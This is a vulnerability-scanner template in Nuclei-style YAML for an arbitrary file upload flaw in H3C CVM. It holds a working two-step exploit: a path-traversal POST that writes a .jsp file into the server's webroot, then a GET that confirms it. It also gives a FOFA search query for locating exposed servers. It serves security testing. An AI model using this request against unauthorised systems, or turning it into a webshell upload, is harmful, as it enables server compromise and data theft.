漏洞描述
An H3C CVM vulnerability allows for arbitrary file uploads. This enables attackers to upload any files they choose, acquire webshells, manipulate server permissions, and access sensitive information.
id: h3c-cvm-arbitrary-file-upload
info:
name: H3C CVM - Arbitrary File Upload
author: SleepingBag945
severity: critical
description: |
An H3C CVM vulnerability allows for arbitrary file uploads. This enables attackers to upload any files they choose, acquire webshells, manipulate server permissions, and access sensitive information.
reference:
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/h3c-cvm-fileupload.yaml
- https://github.com/tr0uble-mAker/POC-bomber/blob/main/pocs/redteam/h3c_cvm_fileupload_2022.py
metadata:
verified: true
max-request: 2
fofa-query: server="H3C-CVM"
tags: h3c,lfi,instrusive,file-upload,intrusive,vuln
variables:
filename: "{{rand_base(5)}}"
payload: "{{rand_base(8)}}"
http:
- raw:
- |
POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{{filename}}.jsp&name=222" HTTP/1.1
Host: {{Hostname}}
Content-range: bytes 0-10/20
Accept-Encoding: gzip, deflate
{{payload}}
- |
GET /cas/js/lib/buttons/{{filename}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "{{payload}}"
- type: word
part: header
words:
- "Content-Type: text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100ece2b16e7a366c67030b7b6fc9471641647adc3af8d2c164d3694854ae9ec455022100a73628cd38129f44a0a24e25914b7fe0be5cac048cf139c9e359e8dc8e18c507:922c64590222798bb761d5b6d8e72950